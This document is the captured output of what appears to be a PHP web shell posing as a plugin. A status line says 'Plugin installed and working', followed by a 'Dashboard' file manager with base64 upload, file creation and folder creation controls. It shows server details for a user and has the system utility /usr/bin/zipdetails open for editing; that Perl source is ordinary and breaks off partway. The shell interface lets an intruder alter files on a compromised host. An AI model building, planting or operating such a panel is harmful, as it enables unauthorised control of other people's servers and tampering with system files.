{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-22 13:55:56"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr">usr</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr%2Fbin">bin</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fusr%2Fbin" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: zipdetails</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/usr/bin/zipdetails">
                    <textarea name="edit_content">#!/usr/bin/perl

# zipdetails
#
# Display info on the contents of a Zip file
#

BEGIN { pop @INC if $INC[-1] eq &#039;.&#039; }
use strict;
use warnings ;

use IO::File;
use Encode;
use Getopt::Long;

# Compression types
use constant ZIP_CM_STORE                      =&gt; 0 ;
use constant ZIP_CM_IMPLODE                    =&gt; 6 ;
use constant ZIP_CM_DEFLATE                    =&gt; 8 ;
use constant ZIP_CM_BZIP2                      =&gt; 12 ;
use constant ZIP_CM_LZMA                       =&gt; 14 ;
use constant ZIP_CM_PPMD                       =&gt; 98 ;

# General Purpose Flag
use constant ZIP_GP_FLAG_ENCRYPTED_MASK        =&gt; (1 &lt;&lt; 0) ;
use constant ZIP_GP_FLAG_STREAMING_MASK        =&gt; (1 &lt;&lt; 3) ;
use constant ZIP_GP_FLAG_PATCHED_MASK          =&gt; (1 &lt;&lt; 5) ;
use constant ZIP_GP_FLAG_STRONG_ENCRYPTED_MASK =&gt; (1 &lt;&lt; 6) ;
use constant ZIP_GP_FLAG_LZMA_EOS_PRESENT      =&gt; (1 &lt;&lt; 1) ;
use constant ZIP_GP_FLAG_LANGUAGE_ENCODING     =&gt; (1 &lt;&lt; 11) ;

# Internal File Attributes
use constant ZIP_IFA_TEXT_MASK                 =&gt; 1;

# Signatures for each of the headers
use constant ZIP_LOCAL_HDR_SIG                 =&gt; 0x04034b50;
use constant ZIP_DATA_HDR_SIG                  =&gt; 0x08074b50;
use constant ZIP_CENTRAL_HDR_SIG               =&gt; 0x02014b50;
use constant ZIP_END_CENTRAL_HDR_SIG           =&gt; 0x06054b50;
use constant ZIP64_END_CENTRAL_REC_HDR_SIG     =&gt; 0x06064b50;
use constant ZIP64_END_CENTRAL_LOC_HDR_SIG     =&gt; 0x07064b50;
use constant ZIP_ARCHIVE_EXTRA_DATA_SIG        =&gt; 0x08064b50;
use constant ZIP_DIGITAL_SIGNATURE_SIG         =&gt; 0x05054b50;

use constant ZIP_ARCHIVE_EXTRA_DATA_RECORD_SIG =&gt; 0x08064b50;

# Extra sizes
use constant ZIP_EXTRA_HEADER_SIZE          =&gt; 2 ;
use constant ZIP_EXTRA_MAX_SIZE             =&gt; 0xFFFF ;
use constant ZIP_EXTRA_SUBFIELD_ID_SIZE     =&gt; 2 ;
use constant ZIP_EXTRA_SUBFIELD_LEN_SIZE    =&gt; 2 ;
use constant ZIP_EXTRA_SUBFIELD_HEADER_SIZE =&gt; ZIP_EXTRA_SUBFIELD_ID_SIZE +
                                               ZIP_EXTRA_SUBFIELD_LEN_SIZE;
use constant ZIP_EXTRA_SUBFIELD_MAX_SIZE    =&gt; ZIP_EXTRA_MAX_SIZE -
                                               ZIP_EXTRA_SUBFIELD_HEADER_SIZE;

my %ZIP_CompressionMethods =
    (
          0 =&gt; &#039;Stored&#039;,
          1 =&gt; &#039;Shrunk&#039;,
          2 =&gt; &#039;Reduced compression factor 1&#039;,
          3 =&gt; &#039;Reduced compression factor 2&#039;,
          4 =&gt; &#039;Reduced compression factor 3&#039;,
          5 =&gt; &#039;Reduced compression factor 4&#039;,
          6 =&gt; &#039;Imploded&#039;,
          7 =&gt; &#039;Reserved for Tokenizing compression algorithm&#039;,
          8 =&gt; &#039;Deflated&#039;,
          9 =&gt; &#039;Enhanced Deflating using Deflate64(tm)&#039;,
         10 =&gt; &#039;PKWARE Data Compression Library Imploding&#039;,
         11 =&gt; &#039;Reserved by PKWARE&#039;,
         12 =&gt; &#039;BZIP2 &#039;,
         13 =&gt; &#039;Reserved by PKWARE&#039;,
         14 =&gt; &#039;LZMA&#039;,
         15 =&gt; &#039;Reserved by PKWARE&#039;,
         16 =&gt; &#039;IBM z/OS CMPSC Compression&#039;,
         17 =&gt; &#039;Reserved by PKWARE&#039;,
         18 =&gt; &#039;File is compressed using IBM TERSE (new)&#039;,
         19 =&gt; &#039;IBM LZ77 z Architecture (PFS)&#039;,
         93 =&gt; &#039;Zstandard&#039;,
         94 =&gt; &#039;MP3&#039;,
         95 =&gt; &#039;XZ&#039;,
         96 =&gt; &#039;WinZip JPEG Compression&#039;,
         97 =&gt; &#039;WavPack compressed data&#039;,
         98 =&gt; &#039;PPMd version I, Rev 1&#039;,
         99 =&gt; &#039;AES Encryption&#039;,
     );

my %OS_Lookup = (
    0   =&gt; &quot;MS-DOS&quot;,
    1   =&gt; &quot;Amiga&quot;,
    2   =&gt; &quot;OpenVMS&quot;,
    3   =&gt; &quot;Unix&quot;,
    4   =&gt; &quot;VM/CMS&quot;,
    5   =&gt; &quot;Atari ST&quot;,
    6   =&gt; &quot;HPFS (OS/2, NT 3.x)&quot;,
    7   =&gt; &quot;Macintosh&quot;,
    8   =&gt; &quot;Z-System&quot;,
    9   =&gt; &quot;CP/M&quot;,
    10  =&gt; &quot;Windoxs NTFS or TOPS-20&quot;,
    11  =&gt; &quot;MVS or NTFS&quot;,
    12  =&gt; &quot;VSE or SMS/QDOS&quot;,
    13  =&gt; &quot;Acorn RISC OS&quot;,
    14  =&gt; &quot;VFAT&quot;,
    15  =&gt; &quot;alternate MVS&quot;,
    16  =&gt; &quot;BeOS&quot;,
    17  =&gt; &quot;Tandem&quot;,
    18  =&gt; &quot;OS/400&quot;,
    19  =&gt; &quot;OS/X (Darwin)&quot;,
    30  =&gt; &quot;AtheOS/Syllable&quot;,
    );


my %Lookup = (
    ZIP_LOCAL_HDR_SIG,             \&amp;LocalHeader,
    ZIP_DATA_HDR_SIG,              \&amp;DataHeader,
    ZIP_CENTRAL_HDR_SIG,           \&amp;CentralHeader,
    ZIP_END_CENTRAL_HDR_SIG,       \&amp;EndCentralHeader,
    ZIP64_END_CENTRAL_REC_HDR_SIG, \&amp;Zip64EndCentralHeader,
    ZIP64_END_CENTRAL_LOC_HDR_SIG, \&amp;Zip64EndCentralLocator,

    # TODO - Archive Encryption Headers &amp; digital signature
    #ZIP_ARCHIVE_EXTRA_DATA_RECORD_SIG
    #ZIP_DIGITAL_SIGNATURE_SIG
    #ZIP_ARCHIVE_EXTRA_DATA_SIG
);

my %Extras = (
      0x0001,  [&#039;ZIP64&#039;, \&amp;decode_Zip64],
      0x0007,  [&#039;AV Info&#039;, undef],
      0x0008,  [&#039;Extended Language Encoding&#039;, undef],
      0x0009,  [&#039;OS/2 extended attributes&#039;, undef],
      0x000a,  [&#039;NTFS FileTimes&#039;, \&amp;decode_NTFS_Filetimes],
      0x000c,  [&#039;OpenVMS&#039;, undef],
      0x000d,  [&#039;Unix&#039;, undef],
      0x000e,  [&#039;Stream &amp; Fork Descriptors&#039;, undef],
      0x000f,  [&#039;Patch Descriptor&#039;, undef],
      0x0014,  [&#039;PKCS#7 Store for X.509 Certificates&#039;, undef],
      0x0015,  [&#039;X.509 Certificate ID and Signature for individual file&#039;, undef],
      0x0016,  [&#039;X.509 Certificate ID for Central Directory&#039;, undef],
      0x0017,  [&#039;Strong Encryption Header&#039;, undef],
      0x0018,  [&#039;Record Management Controls&#039;, undef],
      0x0019,  [&#039;PKCS#7 Encryption Recipient Certificate List&#039;, undef],
      0x0020,  [&#039;Reserved for Timestamp record&#039;, undef],
      0x0021,  [&#039;Policy Decryption Key Record&#039;, undef],
      0x0022,  [&#039;Smartcrypt Key Provider Record&#039;, undef],
      0x0023,  [&#039;Smartcrypt Policy Key Data Record&#039;, undef],

      # The Header ID mappings defined by Info-ZIP and third parties are:

      0x0065,  [&#039;IBM S/390 attributes - uncompressed&#039;, \&amp;decodeMVS],
      0x0066,  [&#039;IBM S/390 attributes - compressed&#039;, undef],
      0x07c8,  [&#039;Info-ZIP Macintosh (old, J. Lee)&#039;, undef],
      0x2605,  [&#039;ZipIt Macintosh (first version)&#039;, undef],
      0x2705,  [&#039;ZipIt Macintosh v 1.3.5 and newer (w/o full filename)&#039;, undef],
      0x2805,  [&#039;ZipIt Macintosh v 1.3.5 and newer &#039;, undef],
      0x334d,  [&quot;Info-ZIP Macintosh (new, D. Haase&#039;s &#039;Mac3&#039; field)&quot;, undef],
      0x4154,  [&#039;Tandem NSK&#039;, undef],
      0x4341,  [&#039;Acorn/SparkFS (David Pilling)&#039;, undef],
      0x4453,  [&#039;Windows NT security descriptor&#039;, \&amp;decode_NT_security],
      0x4690,  [&#039;POSZIP 4690&#039;, undef],
      0x4704,  [&#039;VM/CMS&#039;, undef],
      0x470f,  [&#039;MVS&#039;, undef],
      0x4854,  [&#039;Theos, old inofficial port&#039;, undef],
      0x4b46,  [&#039;FWKCS MD5 (see below)&#039;, undef],
      0x4c41,  [&#039;OS/2 access control list (text ACL)&#039;, undef],
      0x4d49,  [&#039;Info-ZIP OpenVMS (obsolete)&#039;, undef],
      0x4d63,  [&#039;Macintosh SmartZIP, by Macro Bambini&#039;, undef],
      0x4f4c,  [&#039;Xceed original location extra field&#039;, undef],
      0x5356,  [&#039;AOS/VS (binary ACL)&#039;, undef],
      0x5455,  [&#039;Extended Timestamp&#039;, \&amp;decode_UT],
      0x554e,  [&#039;Xceed unicode extra field&#039;, \&amp;decode_Xceed_unicode],
      0x5855,  [&#039;Info-ZIP Unix (original; also OS/2, NT, etc.)&#039;, \&amp;decode_UX],
      0x5a4c,  [&#039;ZipArchive Unicode Filename&#039;, undef],
      0x5a4d,  [&#039;ZipArchive Offsets Array&#039;, undef],
      0x6375,  [&#039;Info-ZIP Unicode Comment&#039;, \&amp;decode_up ],
      0x6542,  [&#039;BeOS (BeBox, PowerMac, etc.)&#039;, undef],
      0x6854,  [&#039;Theos&#039;, undef],
      0x7075,  [&#039;Info-ZIP Unicode Path&#039;, \&amp;decode_up ],
      0x756e,  [&#039;ASi Unix&#039;, undef],
      0x7441,  [&#039;AtheOS (AtheOS/Syllable attributes)&#039;, undef],
      0x7855,  [&#039;Unix Extra type 2&#039;, \&amp;decode_Ux],
      0x7875,  [&#039;Unix Extra Type 3&#039;, \&amp;decode_ux],
      0x9901,  [&#039;AES Encryption&#039;, \&amp;decode_AES],
      0xa11e,  [&#039;Data Stream Alignment&#039;, undef],
      0xA220,  [&#039;Open Packaging Growth Hint&#039;, \&amp;decode_GrowthHint ],
      0xCAFE,  [&#039;Java Executable&#039;, \&amp;decode_Java_exe],
      0xfb4a,  [&#039;SMS/QDOS&#039;, undef],

       );

my $VERSION = &quot;2.02&quot; ;

my $FH;

my $ZIP64 = 0 ;
my $NIBBLES = 8;
my $LocalHeaderCount = 0;
my $CentralHeaderCount = 0;

my $START;
my $OFFSET = U64-&gt;new( 0 );
my $TRAILING = 0 ;
my $PAYLOADLIMIT = 256; # U64-&gt;new( 256 );
my $ZERO = U64-&gt;new( 0 );

my $SEEN = Seen-&gt;new();

sub prOff
{
    my $offset = shift;
    my $s = offset($OFFSET);
    $OFFSET-&gt;add($offset);
    return $s;
}

sub offset
{
    my $v = shift ;

    if (ref $v eq &#039;U64&#039;) {
        my $hi = $v-&gt;getHigh();
        my $lo = $v-&gt;getLow();

        if ($hi)
        {
            my $hiNib = $NIBBLES - 8 ;
            sprintf(&quot;%0${hiNib}X&quot;, $hi) .
            sprintf(&quot;%08X&quot;, $lo);
        }
        else
        {
            sprintf(&quot;%0${NIBBLES}X&quot;, $lo);
        }
    }
    else {
        sprintf(&quot;%0${NIBBLES}X&quot;, $v);
    }

}

my ($OFF,  $LENGTH,  $CONTENT, $TEXT, $VALUE) ;

my $FMT1 ;
my $FMT2 ;

sub setupFormat
{
    my $wantVerbose = shift ;
    my $nibbles = shift;

    my $width = &#039;@&#039; . (&#039;&gt;&#039; x ($nibbles -1));
    my $space = &quot; &quot; x length($width);

    my $fmt ;

    if ($wantVerbose) {

        $FMT1 = &quot;
        format STDOUT =
$width $width ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
\$OFF,     \$LENGTH,  \$CONTENT, \$TEXT,               \$VALUE
$space $space ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;~~
                    \$CONTENT, \$TEXT,               \$VALUE
.
&quot;;

        $FMT2 = &quot;
        format STDOUT =
$width $width ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;  ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
\$OFF,     \$LENGTH,  \$CONTENT, \$TEXT,               \$VALUE
$space $space ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;  ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;~~
              \$CONTENT, \$TEXT,               \$VALUE
.  &quot; ;

    }
    else {

        $FMT1 = &quot;
        format STDOUT =
$width ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
\$OFF,      \$TEXT,               \$VALUE
$space ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;~~
                    \$TEXT,               \$VALUE
.
&quot;;

        $FMT2 = &quot;
    format STDOUT =
$width   ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
\$OFF,     \$TEXT,               \$VALUE
$space   ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; ^&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;~~
                    \$TEXT,               \$VALUE
.
&quot; ;
    }

    eval &quot;$FMT1&quot;;

    $| = 1;

}

sub mySpr
{
    my $format = shift ;

    return &quot;&quot; if ! defined $format;
    return $format unless @_ ;
    return sprintf $format, @_ ;
}

sub out0
{
    my $size = shift;
    my $text = shift;
    my $format = shift;

    $OFF     = prOff($size);
    $LENGTH  = offset($size) ;
    $CONTENT = &#039;...&#039;;
    $TEXT    = $text;
    $VALUE   = mySpr $format,  @_;

    write;

    skip($FH, $size);
}

sub xDump
{
    my $input = shift;

    $input =~ tr/\0-\37\177-\377/./;
    return $input;
}

sub hexDump
{
    my $input = shift;

    my $out = unpack(&#039;H*&#039;, $input) ;
    $out =~ s#(..)# $1#g ;
    $out =~ s/^ //;
    $out = uc $out;

    return $out;
}

sub out
{
    my $data = shift;
    my $text = shift;
    my $format = shift;

    my $size = length($data) ;

    $OFF     = prOff($size);
    $LENGTH  = offset($size) ;
    $CONTENT = hexDump($data);
    $TEXT    = $text;
    $VALUE   = mySpr $format,  @_;

    no warnings;

    write;
}

sub out1
{
    my $text = shift;
    my $format = shift;

    $OFF     = &#039;&#039;;
    $LENGTH  = &#039;&#039; ;
    $CONTENT = &#039;&#039;;
    $TEXT    = $text;
    $VALUE   = mySpr $format,  @_;

    write;
}

sub out2
{
    my $data = shift ;
    my $text = shift ;
    my $format = shift;

    my $size = length($data) ;
    $OFF     = prOff($size);
    $LENGTH  = offset($size);
    $CONTENT = hexDump($data);
    $TEXT    = $text;
    $VALUE   = mySpr $format,  @_;

    no warnings;
    eval &quot;$FMT2&quot;;
    write ;
    eval &quot;$FMT1&quot;;
}

sub Value
{
    my $letter = shift;
    my @value = @_;

    if ($letter eq &#039;C&#039;)
      { return Value_C(@value) }
    elsif ($letter eq &#039;v&#039;)
      { return Value_v(@value) }
    elsif ($letter eq &#039;V&#039;)
      { return Value_V(@value) }
    elsif ($letter eq &#039;VV&#039;)
      { return Value_VV(@value) }
}

sub outer
{
    my $name = shift ;
    my $unpack = shift ;
    my $size = shift ;
    my $cb1  = shift ;
    my $cb2  = shift ;


    myRead(my $buff, $size);
    my (@value) = unpack $unpack, $buff;
    my $hex = Value($unpack,  @value);

    if (defined $cb1) {
        my $v ;
        if (ref $cb1 eq &#039;CODE&#039;) {
            $v = $cb1-&gt;(@value) ;
        }
        else {
            $v = $cb1 ;
        }

        $v = &quot;&#039;&quot; . $v unless $v =~ /^&#039;/;
        $v .= &quot;&#039;&quot;  unless $v =~ /&#039;$/;
        $hex .= &quot; $v&quot; ;
    }

    out $buff, $name, $hex ;

    $cb2-&gt;(@value)
        if defined $cb2 ;

    return $value[0];
}

sub out_C
{
    my $name = shift ;
    my $cb1  = shift ;
    my $cb2  = shift ;

    outer($name, &#039;C&#039;, 1, $cb1, $cb2);
}

sub out_v
{
    my $name = shift ;
    my $cb1  = shift ;
    my $cb2  = shift ;

    outer($name, &#039;v&#039;, 2, $cb1, $cb2);
}

sub out_V
{
    my $name = shift ;
    my $cb1  = shift ;
    my $cb2  = shift ;

    outer($name, &#039;V&#039;, 4, $cb1, $cb2);
}

sub out_VV
{
    my $name = shift ;
    my $cb1  = shift ;
    my $cb2  = shift ;

    outer($name, &#039;VV&#039;, 8, $cb1, $cb2);
}

# sub outSomeData
# {
#     my $size = shift;
#     my $message = shift;

#     my $size64 = U64::mkU64($size);

#     if ($size64-&gt;gt($ZERO)) {
#         my $size32 = $size64-&gt;getLow();
#         if ($size64-&gt;gt($PAYLOADLIMIT) ) {
#             out0 $size32, $message;
#         } else {
#             myRead(my $buffer, $size32 );
#             out $buffer, $message, xDump $buffer ;
#         }
#     }
# }

sub outSomeData
{
    my $size = shift;
    my $message = shift;

    if ($size &gt; 0) {
        if ($size &gt; $PAYLOADLIMIT) {
            my $before = $FH-&gt;tell();
            out0 $size, $message;
            # printf &quot;outSomeData %X %X $size %X\n&quot;, $before, $FH-&gt;tell(), $size;
        } else {
            myRead(my $buffer, $size );
            out $buffer, $message, xDump $buffer ;
        }
    }
}

sub unpackValue_C
{
    Value_v(unpack &quot;C&quot;, $_[0]);
}

sub Value_C
{
    sprintf &quot;%02X&quot;, $_[0];
}


sub unpackValue_v
{
    Value_v(unpack &quot;v&quot;, $_[0]);
}

sub Value_v
{
    sprintf &quot;%04X&quot;, $_[0];
}

sub unpackValue_V
{
    Value_V(unpack &quot;V&quot;, $_[0]);
}

sub Value_V
{
    my $v = defined $_[0] ? $_[0] : 0;
    sprintf &quot;%08X&quot;, $v;
}

sub unpackValue_VV
{
    my ($lo, $hi) = unpack (&quot;V V&quot;, $_[0]);
    Value_VV($lo, $hi);
}

sub Value_U64
{
    my $u64 = shift ;
    Value_VV($u64-&gt;getLow(), $u64-&gt;getHigh());
}

sub Value_VV
{
    my $lo = defined $_[0] ? $_[0] : 0;
    my $hi = defined $_[1] ? $_[1] : 0;

    if ($hi == 0)
    {
        sprintf &quot;%016X&quot;, $lo;
    }
    else
    {
        sprintf(&quot;%08X&quot;, $hi) .
        sprintf &quot;%08X&quot;, $lo;
    }
}

sub Value_VV64
{
    my $buffer = shift;

    # This needs perl 5.10
    # return unpack &quot;Q&lt;&quot;, $buffer;

    my ($lo, $hi) = unpack (&quot;V V&quot; , $buffer);
    no warnings &#039;uninitialized&#039;;
    return $hi * (0xFFFFFFFF+1) + $lo;
}

sub read_U64
{
    my $b ;
    myRead($b, 8);
    my ($lo, $hi) = unpack (&quot;V V&quot; , $b);
    no warnings &#039;uninitialized&#039;;
    return ($b, U64-&gt;new( $hi, $lo) );
}

sub read_VV
{
    my $b ;
    myRead($b, 8);
    my ($lo, $hi) = unpack (&quot;V V&quot; , $b);
    no warnings &#039;uninitialized&#039;;
    return ($b, $hi * (0xFFFFFFFF+1) + $lo);
}

sub read_V
{
    my $b ;
    myRead($b, 4);
    return ($b, unpack (&quot;V&quot;, $b));
}

sub read_v
{
    my $b ;
    myRead($b, 2);
    return ($b, unpack &quot;v&quot;, $b);
}


sub read_C
{
    my $b ;
    myRead($b, 1);
    return ($b, unpack &quot;C&quot;, $b);
}

sub seekTo
{
    my $offset = shift ;
    my $loc = shift ;

    $loc = SEEK_SET
        if ! defined $loc ;

    $FH-&gt;seek($offset, $loc);
    $OFFSET = new U64($offset);
}

sub scanForSignature
{
    my %sigs =
        map { $_ =&gt; 1         }
        map { substr $_, 2, 2 } # don&#039;t want the initial &quot;PK&quot;
        map { pack &quot;V&quot;, $_    }
        (
                ZIP_LOCAL_HDR_SIG                 ,
                ZIP_DATA_HDR_SIG                  ,
                ZIP_CENTRAL_HDR_SIG               ,
                ZIP_END_CENTRAL_HDR_SIG           ,
                ZIP64_END_CENTRAL_REC_HDR_SIG     ,
                ZIP64_END_CENTRAL_LOC_HDR_SIG     ,
                # ZIP_ARCHIVE_EXTRA_DATA_SIG        ,
                # ZIP_DIGITAL_SIGNATURE_SIG         ,
                # ZIP_ARCHIVE_EXTRA_DATA_RECORD_SIG ,
        );

    my $start = $FH-&gt;tell();

    my $last = &#039;&#039;;
    my $buffer ;
    while ($FH-&gt;read($buffer, 1024 * 1000))
    {
        my $combine = substr($last, -4) . $buffer ;
        $last = $buffer;
        my $ix = index($combine, &quot;PK&quot;) ;

        next
            if $ix == -1;

        my $rest = substr($combine, $ix+2, 2);

        next
            unless length $rest == 2 &amp;&amp; $sigs{$rest} ;

        my $v = unpack(&quot;v&quot;, $rest) ;

        # possible match
        my $here = $FH-&gt;tell();
        seekTo($here - length($combine) + $ix);

        return 1;
    }

    return 0;
}

my $is64In32 = 0;

my $opt_verbose = 0;
my $opt_scan = 0;

$Getopt::Long::bundling = 1 ;

GetOptions(&quot;h&quot;       =&gt; \&amp;Usage,
           &quot;v&quot;       =&gt; \$opt_verbose,
           &quot;scan&quot;    =&gt; \$opt_scan,
           &quot;version&quot; =&gt; sub { print &quot;$VERSION\n&quot;; exit },
    )
  or Usage(&quot;Invalid command line option\n&quot;);


Usage(&quot;No zipfile&quot;) unless @ARGV == 1;

my $filename = shift @ARGV;

die &quot;$filename does not exist\n&quot;
    unless -e $filename ;

die &quot;$filename not a standard file\n&quot;
    unless -f $filename ;

$FH = IO::File-&gt;new( &quot;&lt;$filename&quot; )
    or die &quot;Cannot open $filename: $!\n&quot;;


my $FILELEN = -s $filename ;
$TRAILING = -s $filename ;
$NIBBLES = U64::nibbles(-s $filename) ;
#$NIBBLES = int ($NIBBLES / 4) + ( ($NIBBLES % 4) ? 1 : 0 );
#$NIBBLES = 4 * $NIBBLES;
# Minimum of 4 nibbles
$NIBBLES = 4 if $NIBBLES &lt; 4 ;

die &quot;$filename too short to be a zip file\n&quot;
    if $FILELEN &lt;  22 ;

setupFormat($opt_verbose, $NIBBLES);

if(0)
{
